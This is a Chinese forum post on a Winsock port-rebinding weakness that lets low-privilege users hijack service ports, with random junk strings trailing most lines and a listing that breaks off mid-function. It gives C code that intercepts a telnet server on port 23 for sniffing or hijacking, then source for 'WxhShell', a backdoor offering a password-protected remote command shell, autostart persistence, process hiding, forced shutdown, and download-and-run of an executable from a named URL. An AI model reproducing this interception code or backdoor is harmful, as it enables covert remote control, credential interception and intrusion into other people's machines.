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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: eQ9{J9)?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UkXc7D^jwm  
!i}G>*XH,  
  saddr.sin_family = AF_INET; $_)YrqSo~  
&~||<0m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8a. |CgI#h  
$V`O%Sz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]2b" oHg  
HzH_5kVW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <uv{/L b  
y^M'&@F  
  这意味着什么?意味着可以进行如下的攻击: ~R!(%j ]  
K"-N:OV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rhNdXYY>  
;J?^M!l2=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4_r8ynq{z  
vbwEX6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;CAB.aB~  
%q ja:'k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t*.v!   
)2rI/=R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :peBQ{bj  
&[RC4^;\V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #Kn7 xn[  
{"{J*QH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )#*c|.  
H~Q UN  
  #include IFpmf0;^  
  #include 9h*$P:S;1v  
  #include z:< (b   
  #include    ?]h+En5z8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2$1rS}}  
  int main() Ej.D!@   
  { :nZ*x=aq  
  WORD wVersionRequested; :Q\h'$C  
  DWORD ret; to:hMd1T  
  WSADATA wsaData; _DJ0 MR~3  
  BOOL val; OQ!mL3f  
  SOCKADDR_IN saddr; 3UrqV`x \  
  SOCKADDR_IN scaddr; *'exvY~  
  int err; G ROl9xp2  
  SOCKET s; b[RBp0]x  
  SOCKET sc; ch : 428  
  int caddsize; g08=D$P  
  HANDLE mt; XTZWbhNF  
  DWORD tid;   *j <;;z-  
  wVersionRequested = MAKEWORD( 2, 2 ); Pfd FB  
  err = WSAStartup( wVersionRequested, &wsaData ); *q8W;Wa L  
  if ( err != 0 ) { +[~\\X  
  printf("error!WSAStartup failed!\n"); 8^< -;  
  return -1; uc7Y8iO  
  } 6;(Slkv  
  saddr.sin_family = AF_INET; \DGm[/P  
   vv%Di.V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 deu+ i  
~{d94o.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \19XDqf8  
  saddr.sin_port = htons(23); nMVThN*I g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DB>>U>H-  
  { n,Ux>L  
  printf("error!socket failed!\n"); * ?KQ\ Y  
  return -1; T 6phD8#  
  } K h% x  
  val = TRUE; bk^ :6>{K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 aty K^*aX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'u696ED4  
  { +m>Kb edl  
  printf("error!setsockopt failed!\n"); GD< Afni  
  return -1; $L`7(0U-  
  } bWMM[pnL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; typ*.j[q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %o{vD&7\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \ 2".Kb@=  
*xLMs(gg  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) KJ pM?:  
  { wlKL|N  
  ret=GetLastError(); @)}Vk  
  printf("error!bind failed!\n"); 2'pxA:  
  return -1; Ho"FB|e  
  } \LM'KD pP_  
  listen(s,2); \t!+]v8f8  
  while(1) K5 w22L^=+  
  { qw_qGgbl  
  caddsize = sizeof(scaddr); =20Q! wcu  
  //接受连接请求 .s2d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \sRRLDj%  
  if(sc!=INVALID_SOCKET) ;#Mq=Fr-SG  
  { *><] [|Y@H  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); PK+][.6H  
  if(mt==NULL) 9:=a FP  
  { PfuYT_p4s  
  printf("Thread Creat Failed!\n"); 0tsll1  
  break; jpBE| Nm  
  } 4|:{apH  
  } 8-SVgo(  
  CloseHandle(mt); W tzV|e,  
  } b]Z@zS<8  
  closesocket(s); S2<(n,"  
  WSACleanup(); z1V0WDVm  
  return 0; BB|{VwN  
  }   :fj}J)9'xW  
  DWORD WINAPI ClientThread(LPVOID lpParam) ; 9'*w=V  
  { vys*=48g  
  SOCKET ss = (SOCKET)lpParam; <!w-op2@ir  
  SOCKET sc; JL(*peeu3  
  unsigned char buf[4096]; {1SxM /  
  SOCKADDR_IN saddr;  j, G/[V  
  long num; YJ75dXc&&  
  DWORD val; n*O/ X  
  DWORD ret; 7q67_u? @  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C ]r$   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j?&FK  
  saddr.sin_family = AF_INET; F^ Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xH' H! 8  
  saddr.sin_port = htons(23); +Oyt   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Pq_Il9  
  { 4Y)3<=kDG  
  printf("error!socket failed!\n"); f}+G;a9Nj  
  return -1; sxsM%Gb?H  
  } cF/FretoO  
  val = 100; ^|sQkufo  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'Y&yt"cs  
  { (p2\H>pTr  
  ret = GetLastError(); awC&xVf  
  return -1; K=B[MT#V{2  
  } ucA6s:!={  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1C|j<w=i  
  { !-;Me&"I=`  
  ret = GetLastError(); MA1,;pv6  
  return -1; \<PX'mnO  
  } @D60  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'wQ=b  
  { 3PJ  
  printf("error!socket connect failed!\n"); _5X}&>>lhF  
  closesocket(sc); ^qk$W? pX  
  closesocket(ss); WrD20Q$9Q  
  return -1; {)%B?75~  
  } goHr# @  
  while(1) IXg${I}_Q  
  { 0[hl&7 Ab@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S`*al<m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'Lm.`U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mS );bs  
  num = recv(ss,buf,4096,0); hyTi':  
  if(num>0) UPgZj\t%{  
  send(sc,buf,num,0); G A7  
  else if(num==0) ~XZ1,2jA/  
  break; B\("08x  
  num = recv(sc,buf,4096,0); +HfjnEbtBs  
  if(num>0) aG" UV\  
  send(ss,buf,num,0); \ _i`=dx  
  else if(num==0) (JM4W "7'  
  break; i;\i4MT  
  } Z,d/FC#y(  
  closesocket(ss); @*c+`5)_  
  closesocket(sc); Lv_6Mf(  
  return 0 ; 8XY4  
  } !IGVN:E  
(Bmjz*%M  
{`3;Pd`  
========================================================== De^is^{  
@lj  
下边附上一个代码,,WXhSHELL Cw+ (,1  
Ia(A&Za  
========================================================== $h$+EE!  
Z4(2&t^  
#include "stdafx.h" nrf%/L  
j$L<9(DoR  
#include <stdio.h> /`'50C j  
#include <string.h> fO:*85 %}7  
#include <windows.h> |YlUt~H>  
#include <winsock2.h> $[>wJXj3R  
#include <winsvc.h> vfo[<"  
#include <urlmon.h> rVN|OLh  
rSZWmns  
#pragma comment (lib, "Ws2_32.lib") n@%'Nbc>b  
#pragma comment (lib, "urlmon.lib") 8l}|.Q#--  
v)pdm\P  
#define MAX_USER   100 // 最大客户端连接数 ae^xuM?7  
#define BUF_SOCK   200 // sock buffer ,O-lDzcw  
#define KEY_BUFF   255 // 输入 buffer AOfQqGf  
F`ihw[ Wn  
#define REBOOT     0   // 重启 dyx 4_!fO  
#define SHUTDOWN   1   // 关机 -9Can4  
w6cPd'  
#define DEF_PORT   5000 // 监听端口 $>BP}V33  
qt1# P  
#define REG_LEN     16   // 注册表键长度 qM9GW`CKA  
#define SVC_LEN     80   // NT服务名长度 Nh+$'6yT%  
b ;}MA7=  
// 从dll定义API IBuuZ.=j2h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .*zQ\P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AG9U2x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BShZ)t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xQD#; 7  
G's/Q-'[\  
// wxhshell配置信息 N7M^  
struct WSCFG { )q=1<V44d  
  int ws_port;         // 监听端口 Dnp^yqz*  
  char ws_passstr[REG_LEN]; // 口令 huQ1A0(no  
  int ws_autoins;       // 安装标记, 1=yes 0=no R4v=i)A~Z  
  char ws_regname[REG_LEN]; // 注册表键名 C2b.([HE  
  char ws_svcname[REG_LEN]; // 服务名 fe Q%L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d)0%|yX6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \{&55>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i 9b^\&&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '!Sj]+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  t]vz+VQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L8$7^muad  
sVC5<?OW!p  
}; ?Rwn1.Z  
F1+2V"~  
// default Wxhshell configuration * r%  
struct WSCFG wscfg={DEF_PORT, P_?1Rwm-45  
    "xuhuanlingzhe", [lnN~#(Y  
    1, PCU6E9~t2  
    "Wxhshell", QHQj6]  
    "Wxhshell", "TxXrt%>A  
            "WxhShell Service", d6L(Q(:s  
    "Wrsky Windows CmdShell Service", Jrffb=+b  
    "Please Input Your Password: ", dB/Ep c&   
  1, wJgM.V"yb  
  "http://www.wrsky.com/wxhshell.exe", %|u"0/  
  "Wxhshell.exe" r!zNcN(%cs  
    }; .58 AXg  
# I<G:)  
// 消息定义模块 yrIT4y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 95+}NJ;r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #?-W.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #F9$"L1Hg  
char *msg_ws_ext="\n\rExit."; @-7K~in?^  
char *msg_ws_end="\n\rQuit."; 1X{A}9nA  
char *msg_ws_boot="\n\rReboot..."; Z$pR_dazU  
char *msg_ws_poff="\n\rShutdown..."; C qxP@  
char *msg_ws_down="\n\rSave to "; LCdc7  
ce;9UBkOg2  
char *msg_ws_err="\n\rErr!"; 7O{\^Jz1  
char *msg_ws_ok="\n\rOK!"; ogPfz/ hw  
ud.S, 8Sy  
char ExeFile[MAX_PATH]; G>!"XK:fB  
int nUser = 0; J:Qp(s-N^:  
HANDLE handles[MAX_USER]; S1=c_!q%9  
int OsIsNt; QvqBT  
~+d]yeDrhx  
SERVICE_STATUS       serviceStatus; i|=XW6J%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cvC;QRx  
IGp-`%9  
// 函数声明 :2?'mKa7  
int Install(void); C {'c_wX  
int Uninstall(void);  q)%C|  
int DownloadFile(char *sURL, SOCKET wsh); !#X^nlc  
int Boot(int flag); 6^wiEnA  
void HideProc(void); !",@,$  
int GetOsVer(void);  CZuxH  
int Wxhshell(SOCKET wsl); 7i'vAOnw^  
void TalkWithClient(void *cs); lE`ScYG  
int CmdShell(SOCKET sock); +I/P5OGRN  
int StartFromService(void); aE;!mod  
int StartWxhshell(LPSTR lpCmdLine); ^@)+P/&  
k!%HcU%J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qS7*.E~j|]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~\Ynih  
&B3kzs  
// 数据结构和表定义 .f6_[cS;g  
SERVICE_TABLE_ENTRY DispatchTable[] = d~n+Ds)%F  
{ 6\]-J*e>  
{wscfg.ws_svcname, NTServiceMain}, Pjx9@i  
{NULL, NULL} .*,Zh2eXU  
}; ;ndg,05_  
L%BWrmg  
// 自我安装 GY4yZa  
int Install(void) e;gf??8}  
{ ))MP]j9 T  
  char svExeFile[MAX_PATH]; BY 1~\M  
  HKEY key; NyGF57v[M  
  strcpy(svExeFile,ExeFile); bLUn0)c  
D QZS%)  
// 如果是win9x系统,修改注册表设为自启动 !<~Ig/  
if(!OsIsNt) { k4`v(au^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { > Euput\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qNvKlwR9;k  
  RegCloseKey(key); FTB"C[>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'fgDe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]f-e/8$`@  
  RegCloseKey(key); } K Ou  
  return 0; ,CvU#ab8$  
    } `|v#x@s  
  } &"CS1P|  
} ck^Z,AKL+  
else { 6Z'zB&hM}  
p;'vOb  
// 如果是NT以上系统,安装为系统服务 nU`;MW/^w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >U}~Hv]  
if (schSCManager!=0) `C=p7 %  
{ m+!%+S1  
  SC_HANDLE schService = CreateService J^?O] |  
  ( >:K3y$]_  
  schSCManager, c1z5t]d   
  wscfg.ws_svcname, N1SRnJu<f  
  wscfg.ws_svcdisp, / )EB~|4']  
  SERVICE_ALL_ACCESS, v<-D>iJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |UBJu `%  
  SERVICE_AUTO_START, ROfmAc  
  SERVICE_ERROR_NORMAL, }^iE|YKz  
  svExeFile, g-]td8}#  
  NULL, kiECJ@5p  
  NULL, NR3IeTd  
  NULL, )-sEm`(`I9  
  NULL, vdo[qk\C  
  NULL \k* ]w_m-  
  ); @.gCeMlOf  
  if (schService!=0) /@ OGYYH,M  
  { rXaL1`t*  
  CloseServiceHandle(schService); P_Z o}.{  
  CloseServiceHandle(schSCManager); h(zi$V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1"e=Zqn$)  
  strcat(svExeFile,wscfg.ws_svcname); ~7=,)Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 00Rk%QV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tF'67,~W  
  RegCloseKey(key); vXf#gX!Y  
  return 0; .5T7O_%FP  
    } X(1.Hjh  
  } ?^7~|?v  
  CloseServiceHandle(schSCManager); D~ {)\;w^!  
} %:/;R_  
} 1"k +K~:  
0r@rXwz  
return 1; G cbal:q  
} Zaj<*?\  
d*G $qUiX  
// 自我卸载 *[jaI-~S  
int Uninstall(void) i0 R=P[  
{ |[V(u  
  HKEY key; =];FojC6I  
1H ZexV  
if(!OsIsNt) { j@:L MR>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g5?Fo%W  
  RegDeleteValue(key,wscfg.ws_regname); u|Ai<2b$  
  RegCloseKey(key); }%}eyLm(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MRa>@Jn??A  
  RegDeleteValue(key,wscfg.ws_regname); x 1 _(j  
  RegCloseKey(key);  Wi|.Z/  
  return 0; b!N`@m=  
  } 6yR7RF}  
} JAn3  
} 6?`py}:  
else { QR#,n@fE  
(kSk bwu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EUNG&U  
if (schSCManager!=0) 9f V57  
{ N0XGW_f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XR+2|o  
  if (schService!=0) 9*x9sfCv9  
  { &Y,Rm78  
  if(DeleteService(schService)!=0) { +yTL  
  CloseServiceHandle(schService); 1-,l|K  
  CloseServiceHandle(schSCManager); )Y:CV,`  
  return 0; z6Hl+nq B  
  } #a0 (Wh7  
  CloseServiceHandle(schService); /RMep8 &  
  } .FC1:y<aO  
  CloseServiceHandle(schSCManager); M5q7` }>G  
} #(A>yW702  
} qv<VKJTi6]  
ik]UzB  
return 1; 5n"'M&Ce  
} W[vak F  
~vt8|OOo0  
// 从指定url下载文件 f&,.h"bS  
int DownloadFile(char *sURL, SOCKET wsh) [m4<j  
{ ^WRr "3  
  HRESULT hr; `zvYuKQ.}  
char seps[]= "/"; xo*a9H?@  
char *token; *L!R4;ubE  
char *file; n. T [a  
char myURL[MAX_PATH]; yK{~  
char myFILE[MAX_PATH]; P--#5W;^oB  
0 8U:{LL  
strcpy(myURL,sURL); 7<) .luV  
  token=strtok(myURL,seps); QM$?}>:  
  while(token!=NULL) @U9ov >E  
  { m/{rmtA4  
    file=token; 4~ iKo  
  token=strtok(NULL,seps); V^Nc0r   
  } "B\qp"N  
l^SKd  
GetCurrentDirectory(MAX_PATH,myFILE); `yf#(YP  
strcat(myFILE, "\\"); _LS=O@s^  
strcat(myFILE, file); 4}0s^>R  
  send(wsh,myFILE,strlen(myFILE),0); a]Lr<i8#%  
send(wsh,"...",3,0); YlYTH_L>E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zi5;>Iv0}  
  if(hr==S_OK) mO\6B7V!  
return 0; m!PN1$9V  
else 7y60-6r  
return 1; y)=Xo7j  
D,R/abYZH  
} ){,8}(|  
0>AA-~=-  
// 系统电源模块 eHv/3"Og  
int Boot(int flag) VfQSfNsi  
{ /2YI!U@A  
  HANDLE hToken; -dza_{&+iZ  
  TOKEN_PRIVILEGES tkp; b,!h[  
T+gqu &9R  
  if(OsIsNt) { *%MY. #  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GB{%4)%6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OW6i2>Or  
    tkp.PrivilegeCount = 1; bclA+!1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z7GLpTa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oEfKL`]B  
if(flag==REBOOT) { t<Og ?m}(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9 Z4H5!:(  
  return 0; T%:}/@  
} YUc&X^O  
else { 76hi@7a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :lcoSJ  
  return 0; "eBpSV>nnQ  
} Y(-+>>j_  
  } >`t |a  
  else { [aIQ/&Y  
if(flag==REBOOT) { 05w_/l+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p^^<BjkQ  
  return 0; `"    
} 9]|cs  
else { @Gl=1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TT>;!nb  
  return 0; j{nL33T%  
} $L3UDX+F  
} k/*r2 C  
g<tr |n  
return 1; Y>IEB,w  
} jy6% CSWQ  
-[G+*3Y{7  
// win9x进程隐藏模块 eM{+R^8  
void HideProc(void) @C?RbTHy  
{ /5SBLp}Sy  
mgg/i@(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0*+i~g,Kl@  
  if ( hKernel != NULL ) Y68oBUd_E  
  { g"F vD_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IY+P Yad  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +$ P0&YaQ  
    FreeLibrary(hKernel); n)[{nkS6[  
  } )f,iey\-  
}+,;wj~  
return; 0>>tdd7  
} ](B+ilr   
^ @sg{_.~l  
// 获取操作系统版本 k WF, *@.B  
int GetOsVer(void) TVQ9"C  
{ J](AJkGzK  
  OSVERSIONINFO winfo; 7RDfhKdb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4s%vx]E  
  GetVersionEx(&winfo); L%Me wU0TZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oS, %L  
  return 1; =M>pL+#  
  else F!'y47QD  
  return 0; tpU[KR[-  
} *i&ks> 4N  
bF<FX_}!s!  
// 客户端句柄模块 8|HuxE  
int Wxhshell(SOCKET wsl) }H\wed]F/  
{ M2{{B ^*$6  
  SOCKET wsh; ' FF@I^O  
  struct sockaddr_in client; REli`"bR  
  DWORD myID; yd'>Mw  
5hg:@i',  
  while(nUser<MAX_USER) ;3 O0O  
{ 1o V\QK&  
  int nSize=sizeof(client); 7"FsW3an  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x}{/) ?vC  
  if(wsh==INVALID_SOCKET) return 1; 1@egAo)  
1 VcZg%I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :!n_a*.{  
if(handles[nUser]==0) 1=}+NK!  
  closesocket(wsh); 9aHV~5  
else g Q6_]~4  
  nUser++; ]oUvC  
  } r ".*l?=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z;J"3kM  
}CIH1q3P  
  return 0; !#Ub*qY1Z  
} iP)`yB5`  
I x kL]  
// 关闭 socket uD4on}  
void CloseIt(SOCKET wsh) (p>?0h9[  
{ TgoaEufS<  
closesocket(wsh); ]ri5mnB  
nUser--; )[oegfnn-  
ExitThread(0); N2#Wyt8MC  
} '1'De^%6W  
Y23- Im  
// 客户端请求句柄 oc7&iL  
void TalkWithClient(void *cs) aJdd2,e  
{ H Rn Q*  
%-1-y]R|  
  SOCKET wsh=(SOCKET)cs; m:SG1m_6  
  char pwd[SVC_LEN]; VKqIFM1b  
  char cmd[KEY_BUFF]; #ueWU  
char chr[1]; oR}cE Sr  
int i,j; i&=I5$  
<Nwqt[.  
  while (nUser < MAX_USER) { JFewOt3  
?71?Vd  
if(wscfg.ws_passstr) { K2|2Ks_CS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |qm_ESzl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =HapCmrx8  
  //ZeroMemory(pwd,KEY_BUFF); ZRHK?wg'#  
      i=0; & 6 wD  
  while(i<SVC_LEN) { = p{55dR  
Pu>jECcz  
  // 设置超时 +Np[m$Z *  
  fd_set FdRead; MkLXMwuQ&  
  struct timeval TimeOut; kD;1+lNz  
  FD_ZERO(&FdRead); wIQ~a  
  FD_SET(wsh,&FdRead); _@2}zT  
  TimeOut.tv_sec=8; VW&EdrR,S  
  TimeOut.tv_usec=0; )cP &c=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  S1$lNB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e<A6= }  
wr5ScsNS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AS5' j  
  pwd=chr[0]; X(_xOU)V  
  if(chr[0]==0xd || chr[0]==0xa) { O2{~Q{p  
  pwd=0; L)(JaZyV5  
  break; 1V ,Mk#_  
  } 7M8oI.?C|  
  i++; yzyBr1s  
    } RD6n1Wb(@  
 R.x^  
  // 如果是非法用户,关闭 socket Y=83r]%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nSy{ {d  
} RISDjU3  
F+@/"1c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8FT]B/^&m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {&dbxj-'  
"%peYNZ&%  
while(1) { Fc&3tw"g  
76::X:76  
  ZeroMemory(cmd,KEY_BUFF); }_mVXjF  
_+7+90u  
      // 自动支持客户端 telnet标准   .q90+9Ek=  
  j=0; ]y0bgKTK  
  while(j<KEY_BUFF) { epN!+(v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JkShtLEr  
  cmd[j]=chr[0]; 2NMg+Lt8v  
  if(chr[0]==0xa || chr[0]==0xd) { / <C{$Gu  
  cmd[j]=0; IN8G4\r  
  break; lQl!TW"aO  
  } )2sE9G,  
  j++; S2i*Li  
    } q]scKWYI  
!\< [}2}  
  // 下载文件 ^/~ZP?%]  
  if(strstr(cmd,"http://")) { dvAG}<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0 i'bo*  
  if(DownloadFile(cmd,wsh)) @vZeye  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9epMw-)k  
  else cs lZ;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y#T.w0*  
  } r1 axC%  
  else { tgyW:<iv  
\E(^<Af  
    switch(cmd[0]) { ~U r  
  X;bHlA-g  
  // 帮助 y'5`Uo?\",  
  case '?': { I1 pnF61U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K/iFB  
    break; : E`78  
  } 38GkV.e}$  
  // 安装 m]+~F_/  
  case 'i': { K'Y/0:"*  
    if(Install()) Uiv4'v Yg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5,\-;  
    else m#Ydq(0+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @cr/&  
    break; O llS  
    } mv,5Q6!  
  // 卸载 Z=9<esx  
  case 'r': { t zShds  
    if(Uninstall()) :5sjF:@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g#k@R'7E  
    else \ 5.nr*5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )n6,uTlOw  
    break; u`CHM:<<?  
    } (#?O3z1@"  
  // 显示 wxhshell 所在路径 a<0q%A x  
  case 'p': { a&Qr7tT Y"  
    char svExeFile[MAX_PATH]; " Tk,  
    strcpy(svExeFile,"\n\r"); K0WX($z~;  
      strcat(svExeFile,ExeFile); 0tz? sN  
        send(wsh,svExeFile,strlen(svExeFile),0); /a*8z,x  
    break; .p =OAh<  
    } SBy{sbx4&F  
  // 重启 cQkj{u  
  case 'b': { )K8 ^}L,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +Wl]1 c/  
    if(Boot(REBOOT)) uO>x"D5tZ:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Ll? #eun  
    else { l 88n*O  
    closesocket(wsh); p()q)P  
    ExitThread(0); H_ a##z  
    } ~470LgpO1  
    break; **$kW bS  
    } -9~$Ll+2h  
  // 关机 J&Db-  
  case 'd': { RBz"1hRo`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /Xq|S O  
    if(Boot(SHUTDOWN)) IgjPy5k  
